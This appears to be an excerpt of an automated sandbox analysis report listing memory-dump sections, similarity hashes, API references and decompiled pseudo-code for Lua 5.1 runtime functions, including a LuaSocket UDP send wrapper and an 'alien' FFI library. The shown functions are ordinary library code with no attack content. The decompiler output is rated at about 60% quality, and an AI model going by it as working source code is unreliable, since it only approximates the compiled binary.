Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_setfield.$L_register.lua_getfield.lua_newuserdata.lua_pushlstring.lua_setmetatable.
String ID: <R^$alien_library$default$platform$windows
API String ID: 3847922017-1306885463
Opcode ID: 060c490c6c79cde525075999e3ea899d218855cb9c93feff7d1a69d903afa3b8
Instruction ID: 57727109c010ca838b1358e6bbb8788e86bc480ae8a41f1cc02a0130be898f09
Opcode Fuzzy Hash: 060c490c6c79cde525075999e3ea899d218855cb9c93feff7d1a69d903afa3b8
Instruction Fuzzy Hash: 97E0302099ABE374DB0937274D0FF4E1C163FA2724F504310F1F13A1D2AA9C570101AE

Uniqueness

Uniqueness Score: -1.00%

Function 005C1060, Relevance: 19.6, APIs: 13, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E005C1060(intOrPtr __eax, long long __fp0, intOrPtr _a4) {
				char _v0;
				void* _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				char _v536;
				intOrPtr _v540;
				intOrPtr* _t23;
				intOrPtr _t27;
				intOrPtr _t32;
				char* _t34;
				intOrPtr* _t43;
				intOrPtr _t44;
				void* _t46;
				long long* _t47;
				long long _t53;

				_t53 = __fp0;
				_t44 = _a4;
				_push(1);
				_push(_t44);
				_v536 = 0;
				L005C2132();
				L005C2150();
				_t42 = __eax;
				_t23 =  &_v536;
				_push(_t23);
				_push(0);
				_push(2);
				_push(_t44);
				_v540 = __eax;
				L005C212C();
				_t43 = _t23;
				_push(0x40530000);
				_push(0);
				_push(3);
				_push(_t44);
				_v532 = _t43 + _v536;
				L005C2126();
				_t46 =  &_v540 + 0x28;
				L005C2150();
				_t32 = _t23;
				_v528 = _t32;
				if(_t43 != 0) {
					_push( &_v524);
					_push(_t44);
					L005C211A();
					_t47 = _t46 + 8;
					if(_t43 >= _v532) {
						L15:
						_t34 =  &_v524;
						_push(_t34);
						L005C2108();
						asm("fild dword [esp+0x14]");
						_push(_t34);
						goto L16;
					} else {
						goto L5;
					}
					do {
						L5:
						_t27 =  *_t43;
						if(_t27 == 0xa) {
							_push(0x5c3064);
							_push( &_v524);
							L005C2114();
							_t47 = _t47 + 8;
							_t42 = _t32;
						} else {
							if(_t27 != 0xd) {
								if(_t42 <= 0) {
									_push(0x5c3064);
									_push( &_v524);
									_t42 = _t32;
									L005C2114();
									_t47 = _t47 + 8;
								}
								if(_v524 >=  &_v0) {
									_push( &_v524);
									L005C210E();
									_t47 = _t47 + 4;
								}
								 *_v524 =  *_t43;
								_t42 = _t42 - 1;
								_v524 = _v524 + 1;
							}
						}
						_t43 = _t43 + 1;
					} while (_t43 < _v532);
					_v540 = _t42;
					goto L15;
				} else {
					if(__eax >= _t32) {
						_push(_t44);
						L005C2120();
						asm("fild dword [esp+0x20]");
						_t47 = _t46 + 4 - 8;
					} else {
						_push(0x5c3064);
						_push(_t44);
						L005C20F6();
						asm("fild dword [esp+0x24]");
						_t47 = _t46 + 8 - 8;
					}
					L16:
					 *_t47 = _t53;
					_push(_t44);
					L005C2102();
					return 2;
				}
			}

0x005c1060
0x005c1068
0x005c1071
0x005c1073
0x005c1074
0x005c107c
0x005c1081
0x005c1086
0x005c1088
0x005c108c
0x005c108d
0x005c108f
0x005c1091
0x005c1092
0x005c1096
0x005c109f
0x005c10a1
0x005c10a6
0x005c10ab
0x005c10ad
0x005c10ae
0x005c10b2
0x005c10b7
0x005c10ba
0x005c10bf
0x005c10c3
0x005c10c7
0x005c1100
0x005c1101
0x005c1102
0x005c110b
0x005c1110
0x005c1185
0x005c1185
0x005c1189
0x005c118a
0x005c118f
0x005c1193
0x00000000
0x00000000
0x00000000
0x00000000
0x005c1112
0x005c1112
0x005c1112
0x005c1116
0x005c1168
0x005c116d
0x005c116e
0x005c1173
0x005c1176
0x005c1118
0x005c111a
0x005c111e
0x005c1124
0x005c1129
0x005c112a
0x005c112c
0x005c1131
0x005c1131
0x005c1141
0x005c1147
0x005c1148
0x005c114d
0x005c114d
0x005c1156
0x005c115d
0x005c115e
0x005c115e
0x005c111a
0x005c117c
0x005c117d
0x005c1181
0x00000000
0x005c10c9
0x005c10cb
0x005c10e7
0x005c10e8
0x005c10ed
0x005c10f4
0x005c10cd
0x005c10cd
0x005c10d2
0x005c10d3
0x005c10d8
0x005c10df
0x005c10df
0x005c1194
0x005c1194
0x005c1197
0x005c1198
0x005c11af
0x005c11af

APIs

luaL_checknumber.LUA5.1 ref: 005C107C
_ftol.MSVCRT ref: 005C1081
luaL_optlstring.LUA5.1(?,00000002,00000000,00000000), ref: 005C1096
luaL_optnumber.LUA5.1(?,00000003,00000000,40530000,?,00000002,00000000,00000000), ref: 005C10B2
_ftol.MSVCRT ref: 005C10BA
lua_pushstring.LUA5.1(?,005C3064,?,?,?,?,?,00000001), ref: 005C10D3
lua_pushnil.LUA5.1(?,?,?,?,?,?,00000001), ref: 005C10E8
luaL_buffinit.LUA5.1(?,?,?,?,?,?,?,00000001), ref: 005C1102
luaL_addstring.LUA5.1(?,005C3064,?,?,?,?,?,?,?,00000001), ref: 005C112C
luaL_prepbuffer.LUA5.1(?,?,?,?,?,?,?,?,00000001), ref: 005C1148
luaL_pushresult.LUA5.1(?,?,?,?,?,?,?,?,00000001), ref: 005C118A
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,00000001), ref: 005C1198

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: _ftol$L_addstring.L_buffinit.L_checknumber.L_optlstring.L_optnumber.L_prepbuffer.L_pushresult.lua_pushnil.lua_pushnumber.lua_pushstring.
String ID:
API String ID: 1905715778-0
Opcode ID: 97ddc9d899e0f215fcfeac136bb19d5ce2a31857e39cd985f854a6c545418d31
Instruction ID: 3045fb8ac2a0f9feeba05c96bb4c95041a165d222ffa07fb4b5f6c428c70d71f
Opcode Fuzzy Hash: 97ddc9d899e0f215fcfeac136bb19d5ce2a31857e39cd985f854a6c545418d31
Instruction Fuzzy Hash: DB31C9715047455FC310AB959C4AF6BBFE8BBD9304F580A2DF6C563202DA38D605C797

Uniqueness

Uniqueness Score: -1.00%

Function 005922A0, Relevance: 19.6, APIs: 13, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E005922A0(intOrPtr __eax, long long __fp0) {
				intOrPtr _t32;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr* _t39;
				intOrPtr _t42;
				void* _t45;
				intOrPtr _t50;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				void* _t56;
				void* _t57;
				long long* _t58;
				void* _t59;
				long long* _t61;
				long long _t69;

				_t69 = __fp0;
				_t54 =  *((intOrPtr*)(_t56 + 0x20));
				_push(_t54);
				L00594B60();
				 *((intOrPtr*)(_t56 + 0x20)) = __eax;
				_t32 = _t56 + 0x14;
				_push(_t32);
				_push(2);
				_push(_t54);
				 *((intOrPtr*)(_t56 + 0x20)) = 0;
				 *((intOrPtr*)(_t56 + 0x34)) = 0;
				L00594B54();
				_push(0x3ff00000);
				_push(0);
				_push(3);
				_push(_t54);
				 *((intOrPtr*)(_t56 + 0x34)) = _t32;
				L00594B72();
				L00594BD0();
				_push(0xbff00000);
				_push(0);
				_push(4);
				_push(_t54);
				_t53 = _t32;
				L00594B72();
				L00594BD0();
				_t55 =  *((intOrPtr*)(_t56 + 0x58));
				_t42 = _t32;
				E00592DC0(__fp0,  *((intOrPtr*)(_t55 + 0x14)));
				_t34 =  *((intOrPtr*)(_t56 + 0x44));
				_t57 = _t56 + 0x34;
				if(_t53 < 0) {
					_t53 = _t53 + _t34 + 1;
				}
				if(_t42 < 0) {
					_t42 = _t42 + _t34 + 1;
				}
				if(_t53 < 1) {
					_t53 = 1;
				}
				if(_t42 > _t34) {
					_t42 = _t34;
				}
				if(_t53 > _t42) {
					L11:
					_t50 =  *((intOrPtr*)(_t57 + 0x24));
					 *((intOrPtr*)(_t57 + 0x18)) = 0;
					_t58 = _t57 - 8;
					_t28 = _t50 - 1; // -1
					_t35 = _t53 + _t28;
					 *((intOrPtr*)(_t58 + 0x1c)) = _t35;
					asm("fild qword [esp+0x1c]");
					 *_t58 = _t69;
					_push(_t54);
					L00594B5A();
					_push(_t54);
					L00594B4E();
					_push(_t54);
					L00594B4E();
					_t59 = _t58 + 0x14;
				} else {
					_t17 =  *((intOrPtr*)(_t57 + 0x14)) - 1; // -1
					_t45 = E00592550(_t55, _t53 + _t17, _t42 - _t53 + 1, _t57 + 0x24);
					_t57 = _t57 + 0x10;
					if(_t45 == 0) {
						goto L11;
					} else {
						L00594B4E();
						_t39 =  *((intOrPtr*)(_t55 + 0x10));
						_push( *((intOrPtr*)(_t39 + 0xc))( *_t39, _t45, _t54));
						_push(_t54);
						L00594AD0();
						_t35 =  *((intOrPtr*)(_t57 + 0x38));
						 *((intOrPtr*)(_t57 + 0x2c)) = 0;
						_t61 = _t57 + 0xc;
						_t23 = _t35 - 1; // -1
						 *((intOrPtr*)(_t61 + 0x1c)) = _t53 + _t23;
						asm("fild qword [esp+0x1c]");
						 *_t61 = _t69;
						_push(_t54);
						L00594B5A();
						_t59 = _t61 + 0xc;
					}
				}
				_push(_t54);
				L00594B60();
				return _t35 -  *((intOrPtr*)(_t59 + 0x20));
			}

0x005922a0
0x005922a6
0x005922ab
0x005922ac
0x005922b1
0x005922b5
0x005922b9
0x005922bc
0x005922be
0x005922bf
0x005922c3
0x005922c7
0x005922cc
0x005922d1
0x005922d2
0x005922d4
0x005922d5
0x005922d9
0x005922de
0x005922e3
0x005922e8
0x005922e9
0x005922eb
0x005922ec
0x005922ee
0x005922f3
0x005922f8
0x005922fc
0x00592302
0x00592307
0x0059230b
0x00592310
0x00592312
0x00592312
0x00592318
0x0059231a
0x0059231a
0x00592321
0x00592323
0x00592323
0x0059232a
0x0059232c
0x0059232c
0x00592330
0x00592393
0x00592393
0x00592397
0x0059239f
0x005923a2
0x005923a2
0x005923a6
0x005923aa
0x005923ae
0x005923b1
0x005923b2
0x005923b7
0x005923b8
0x005923bd
0x005923be
0x005923c3
0x00592332
0x0059233e
0x0059234a
0x0059234c
0x00592351
0x00000000
0x00592353
0x00592354
0x00592359
0x00592363
0x00592364
0x00592365
0x0059236a
0x0059236e
0x00592376
0x00592379
0x0059237d
0x00592381
0x00592385
0x00592388
0x00592389
0x0059238e
0x0059238e
0x00592351
0x005923c6
0x005923c7
0x005923dc

APIs

lua_gettop.LUA5.1(?,?,?), ref: 005922AC
luaL_checklstring.LUA5.1(?,00000002,?,?,?,?), ref: 005922C7
luaL_optnumber.LUA5.1(?,00000003,00000000,3FF00000,?,00000002,?,?,?,?), ref: 005922D9
_ftol.MSVCRT ref: 005922DE
luaL_optnumber.LUA5.1(?,00000004,00000000,BFF00000,?,00000003,00000000,3FF00000,?,00000002,?,?,?,?), ref: 005922EE
_ftol.MSVCRT ref: 005922F3
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00592354
lua_pushstring.LUA5.1(?,00000000,?,00000000,?), ref: 00592365
lua_pushnumber.LUA5.1(?,?,00000000,?), ref: 00592389
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005923B2
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005923B8
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005923BE
lua_gettop.LUA5.1(?), ref: 005923C7

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnil.$L_optnumber._ftollua_gettop.lua_pushnumber.$L_checklstring.lua_pushstring.
String ID:
API String ID: 940254564-0
Opcode ID: 2d4820dc67d31940283d6f29c7d3c88c5dc5fd05e285598b2f215a9ae9094012
Instruction ID: 83cae0f6a0bd85795e9673c8dcee9d80e61d8f616d55ad4e2cc15d689be8a601
Opcode Fuzzy Hash: 2d4820dc67d31940283d6f29c7d3c88c5dc5fd05e285598b2f215a9ae9094012
Instruction Fuzzy Hash: AE3152715057066BDB00EF649889F5FBBE9FFC9304F400928F98553202DB79DE168BA6

Uniqueness

Uniqueness Score: -1.00%

Function 1000F900, Relevance: 19.6, APIs: 13, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lua_pushvalue.LUA5.1(?,?,?,?,?,?,1000F747,?,FFFFD8F0,_LOADED,00000000,?), ref: 1000F90E
strchr.MSVCRT ref: 1000F91D
lua_pushlstring.LUA5.1(?,?,00000000), ref: 1000F941
lua_rawget.LUA5.1(?,000000FE,?,?,00000000), ref: 1000F949
lua_type.LUA5.1(?,000000FF,?,000000FE,?,?,00000000), ref: 1000F951
lua_settop.LUA5.1(?,000000FE), ref: 1000F960
lua_createtable.LUA5.1(?,00000000,00000001), ref: 1000F97B
lua_pushlstring.LUA5.1(?,00000001,?,?,00000000,00000001), ref: 1000F983
lua_pushvalue.LUA5.1(?,000000FE,?,00000001,?,?,00000000,00000001), ref: 1000F98B
lua_settable.LUA5.1(?,000000FC,?,000000FE,?,00000001,?,?,00000000,00000001), ref: 1000F993
lua_type.LUA5.1(?,000000FF), ref: 1000F9A0
lua_remove.LUA5.1(?,000000FE), ref: 1000F9B0
lua_settop.LUA5.1(?,000000FD), ref: 1000F9C9

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushlstring.lua_pushvalue.lua_settop.lua_type.$lua_createtable.lua_rawget.lua_remove.lua_settable.strchr
String ID:
API String ID: 2793699161-0
Opcode ID: ca87a098548f77ab3e28718243eb2970d6f465ebd00a41d7a3691c4bb880d2cb
Instruction ID: ff9758cb5eb732790a63958aeb2baf89b6633ee2b3bb0b040b9b90e941eecdf1
Opcode Fuzzy Hash: ca87a098548f77ab3e28718243eb2970d6f465ebd00a41d7a3691c4bb880d2cb
Instruction Fuzzy Hash: 5621383940D22633F101D6286C81EEF324DCF471F5F240329F574626DAEF05AA4212F6

Uniqueness

Uniqueness Score: -1.00%

Function 10014960, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 175stringCOMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,?), ref: 10014979

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_checklstring.LUA5.1(?,00000002,?,?,00000001,?), ref: 10014988
luaL_optinteger.LUA5.1(?,00000003,00000001,?), ref: 100149A0

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

lua_toboolean.LUA5.1(?,00000004,?,?,?,?,?), ref: 100149D2
strpbrk.MSVCRT ref: 100149E4
lua_pushinteger.LUA5.1(?,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 10014A1A
lua_pushinteger.LUA5.1(?,00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 10014A27
lua_pushinteger.LUA5.1(?,00000001,?,?,?,?,?,?,?,?), ref: 10014AD9
lua_pushinteger.LUA5.1(?,00000000,?,00000001,?,?,?,?,?,?,?,?), ref: 10014AE2

Part of subcall function 100154F0: luaL_checkstack.LUA5.1(?,?,too many captures,00000000,00000000,?,10014B12,?,00000000,00000000), ref: 10015515

Strings

^$*+?.([%-, xrefs: 100149DE

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushinteger.$L_checklstring.$L_checkstack.L_optinteger.lua_toboolean.lua_tolstring.lua_type.strpbrk
String ID: ^$*+?.([%-
API String ID: 3281591736-500756693
Opcode ID: a0c812634ec764d491a5025f904d3076fbc8bc0b1cfe9e26ba16b01a39ab6f0b
Instruction ID: 21bc6435e6f9d999802350bad03b552561c5bc5c840d3a4c47cb4ab148b30f28
Opcode Fuzzy Hash: a0c812634ec764d491a5025f904d3076fbc8bc0b1cfe9e26ba16b01a39ab6f0b
Instruction Fuzzy Hash: 0A511DB660430167D310DB25DC81FABB7D8DFC4799F46091CFD499B242EA36ED8487A2

Uniqueness

Uniqueness Score: -1.00%

Function 00593930, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 100
networkCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00593930(void* __eflags, long long __fp0, intOrPtr _a4) {
				char _v0;
				char _v4;
				char _v8;
				char _v12;
				short _v16;
				short _v18;
				char _v20;
				intOrPtr _v24;
				char _v28;
				short _v32;
				char* _t23;
				void* _t24;
				short _t25;
				void* _t28;
				void* _t32;
				void* _t39;
				intOrPtr _t41;
				void* _t44;
				void* _t45;
				long long _t52;

				_t52 = __fp0;
				_t41 = _a4;
				_t39 = E00591200(_t41, "udp{unconnected}", 1);
				_t23 =  &_v28;
				_push(_t23);
				_push(2);
				_push(_t41);
				_a4 = 0;
				L00594B54();
				_push(0);
				_push(3);
				_push(_t41);
				_v24 = _t23;
				L00594B54();
				_push(4);
				_push(_t41);
				L00594B66();
				L00594BD0();
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v32 = _t23;
				_t10 = _t39 + 8; // 0x8
				_t32 = _t10;
				_v4 = 0;
				_t24 = E00591980(_t23,  &_v12);
				_t44 =  &_v32 + 0x34;
				if(_t24 == 0) {
					_push("invalid ip address");
					_push(3);
					_push(_t41);
					L00594B2A();
					_t44 = _t44 + 0xc;
				}
				_t25 = _v32;
				_v16 = 2;
				_push(_t25);
				L00594A2E();
				_v18 = _t25;
				E00592DC0(_t52, _t32);
				_push(_t32);
				_t28 = E00594490(_t39, _v28, _v32,  &_v0,  &_v20, 0x10);
				_t40 = _t28;
				_t45 = _t44 + 0x20;
				if(_t28 == 0) {
					_v24 = 0;
					_v28 = _v0;
					asm("fild qword [esp+0x20]");
					 *((long long*)(_t45 - 8)) = _t52;
					_push(_t41);
					L00594B5A();
					return 1;
				} else {
					_push(_t41);
					L00594B4E();
					_push(E00593860(_t40));
					_push(_t41);
					L00594AD0();
					return 2;
				}
			}

0x00593930
0x00593936
0x00593948
0x0059394a
0x0059394e
0x0059394f
0x00593951
0x00593952
0x0059395a
0x0059395f
0x00593961
0x00593963
0x00593964
0x00593968
0x0059396d
0x0059396f
0x00593972
0x00593977
0x00593982
0x00593987
0x0059398c
0x00593990
0x00593994
0x00593994
0x00593997
0x0059399b
0x005939a0
0x005939a5
0x005939a7
0x005939ac
0x005939ae
0x005939af
0x005939b4
0x005939b4
0x005939b7
0x005939bb
0x005939c2
0x005939c3
0x005939c9
0x005939ce
0x005939d7
0x005939eb
0x005939f0
0x005939f2
0x005939f7
0x00593a20
0x00593a28
0x00593a2f
0x00593a33
0x00593a36
0x00593a37
0x00593a4b
0x005939f9
0x005939f9
0x005939fa
0x00593a05
0x00593a06
0x00593a07
0x00593a1b
0x00593a1b

APIs

Part of subcall function 00591200: sprintf.MSVCRT ref: 0059122F
Part of subcall function 00591200: luaL_argerror.LUA5.1(?,?,?), ref: 0059123C

luaL_checklstring.LUA5.1 ref: 0059395A
luaL_checklstring.LUA5.1(?,00000003,00000000), ref: 00593968
luaL_checknumber.LUA5.1(?,00000004,?,00000003,00000000), ref: 00593972
_ftol.MSVCRT ref: 00593977

Part of subcall function 00591980: sscanf.MSVCRT ref: 005919BF
Part of subcall function 00591980: htonl.WSOCK32(?), ref: 00591A20

luaL_argerror.LUA5.1(?,00000003,invalid ip address,?,?,?,?,00000002,?,?,udp{unconnected},00000001), ref: 005939AF
htons.WSOCK32(?), ref: 005939C3
lua_pushnil.LUA5.1(?), ref: 005939FA
lua_pushstring.LUA5.1(?,00000000,00000000,?), ref: 00593A07
lua_pushnumber.LUA5.1(?), ref: 00593A37

Strings

invalid ip address, xrefs: 005939A7
udp{unconnected}, xrefs: 0059393D

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checklstring.$L_checknumber._ftolhtonlhtonslua_pushnil.lua_pushnumber.lua_pushstring.sprintfsscanf
String ID: invalid ip address$udp{unconnected}
API String ID: 312750451-2431006874
Opcode ID: f4bb662005bd50c3642b9b8ebecbce2742db8a329eba81a8eca371c0dccb14f4
Instruction ID: 4c87c7177eada7ba3a38f5d95df60fd901f0c829221db2d4a3fc9dea378a3843
Opcode Fuzzy Hash: f4bb662005bd50c3642b9b8ebecbce2742db8a329eba81a8eca371c0dccb14f4
Instruction Fuzzy Hash: F031D4715083016BDB10AB95DC46FAFBBE9FFC9314F00091DF59493241E6B9DA098BA7

Uniqueness

Uniqueness Score: -1.00%

Function 10011AE0, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 10011630: lua_type.LUA5.1(?,00000001,?,100113D5,?,?), ref: 10011638
Part of subcall function 10011630: lua_tothread.LUA5.1(?,00000001), ref: 10011652

lua_gethookmask.LUA5.1(00000000,?,?), ref: 10011AF8
lua_gethook.LUA5.1(00000000,00000000,?,?), ref: 10011B00
lua_pushlstring.LUA5.1(?,external hook,0000000D), ref: 10011B1B

Part of subcall function 10001930: luaS_newlstr.LUA5.1(?,?,?), ref: 1000195A

lua_pushlightuserdata.LUA5.1(00000000,00000000,00000000), ref: 10011B2D
lua_rawget.LUA5.1(00000000,000000FE,00000000,00000000,00000000), ref: 10011B35
lua_remove.LUA5.1(00000000,000000FE,00000000,000000FE,00000000,00000000,00000000), ref: 10011B3D
lua_xmove.LUA5.1(00000000,?,00000001,00000000,000000FE,00000000,000000FE,00000000,00000000,00000000), ref: 10011B46
lua_pushstring.LUA5.1(?,00000000,00000000,?), ref: 10011B5B
lua_gethookcount.LUA5.1(00000000,?,00000000,00000000,?), ref: 10011B61
lua_pushinteger.LUA5.1(?,00000000,00000000,?,00000000,00000000,?), ref: 10011B68

Strings

external hook, xrefs: 10011B15

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: S_newlstr.lua_gethook.lua_gethookcount.lua_gethookmask.lua_pushinteger.lua_pushlightuserdata.lua_pushlstring.lua_pushstring.lua_rawget.lua_remove.lua_tothread.lua_type.lua_xmove.
String ID: external hook
API String ID: 400439763-1254446183
Opcode ID: 38531f6e130dbe318ddbee2d5ddfa381a3318f6ed90d10aaa7bc1c0059d8c342
Instruction ID: 5c0bae743753f6d86f9b89ff55615ff17acc6a8fc6b5d52461df47b8d6adb203
Opcode Fuzzy Hash: 38531f6e130dbe318ddbee2d5ddfa381a3318f6ed90d10aaa7bc1c0059d8c342
Instruction Fuzzy Hash: 1201A27990902135E106E2241C93EFF226CCF864E0F440625F915A908BFF39F68A41FB

Uniqueness

Uniqueness Score: -1.00%

Function 10010530, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000002,00000005), ref: 1001053A

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

Part of subcall function 10010470: lua_type.LUA5.1(?,00000001,?,?), ref: 1001047C
Part of subcall function 10010470: lua_pushvalue.LUA5.1(?,00000001,?,?), ref: 1001048C

lua_pushvalue.LUA5.1(?,00000002,?,00000000,?,00000002,00000005), ref: 1001054A
lua_isnumber.LUA5.1(?,00000001,?,00000002,?,00000000,?,00000002,00000005), ref: 10010552
lua_tonumber.LUA5.1(?,00000001), ref: 10010561
lua_pushthread.LUA5.1(?), ref: 10010577
lua_insert.LUA5.1(?,000000FE,?), ref: 1001057F
lua_setfenv.LUA5.1(?,000000FE,?,000000FE,?), ref: 10010587
lua_iscfunction.LUA5.1(?,000000FE), ref: 10010596
lua_setfenv.LUA5.1(?,000000FE), ref: 100105A5
luaL_error.LUA5.1(?,'setfenv' cannot change environment of given object), ref: 100105B7

Strings

'setfenv' cannot change environment of given object, xrefs: 100105B1

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushvalue.lua_setfenv.lua_type.$L_checktype.L_error.lua_insert.lua_iscfunction.lua_isnumber.lua_pushthread.lua_tonumber.
String ID: 'setfenv' cannot change environment of given object
API String ID: 1601422258-2037046198
Opcode ID: b09b4629f7ba3d950cbf37f5e76e0b878c0327253e4df6e7a10ab35d3445e35e
Instruction ID: d19b6afa919b86bf0e08ad28b2b698b561fd737f269e0e738d6d767a84905df2
Opcode Fuzzy Hash: b09b4629f7ba3d950cbf37f5e76e0b878c0327253e4df6e7a10ab35d3445e35e
Instruction Fuzzy Hash: DA016269615A2131FA01E2243D43FDF204A8F027E9F144220F954790DBEF99B79205AE

Uniqueness

Uniqueness Score: -1.00%

Function 10011F30, Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

luaL_checkany.LUA5.1(?,00000001), ref: 10011F39

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

lua_touserdata.LUA5.1(?,00000001,?,00000001), ref: 10011F41
lua_getfield.LUA5.1(?,FFFFD8F0,FILE*,?,00000001,?,00000001), ref: 10011F53

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_getmetatable.LUA5.1(?,00000001), ref: 10011F62
lua_rawequal.LUA5.1(?,000000FE,000000FF), ref: 10011F73
lua_pushlstring.LUA5.1(?,closed file,0000000B), ref: 10011F8C

Part of subcall function 10001930: luaS_newlstr.LUA5.1(?,?,?), ref: 1000195A

lua_pushlstring.LUA5.1(?,file,00000004), ref: 10011FA4
lua_pushnil.LUA5.1(?), ref: 10011FB5

Strings

file, xrefs: 10011F9E
FILE*, xrefs: 10011F46
closed file, xrefs: 10011F86

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: S_newlstr.lua_pushlstring.$L_argerror.L_checkany.lua_getfield.lua_getmetatable.lua_pushnil.lua_rawequal.lua_touserdata.lua_type.
String ID: FILE*$closed file$file
API String ID: 2606800232-1636238272
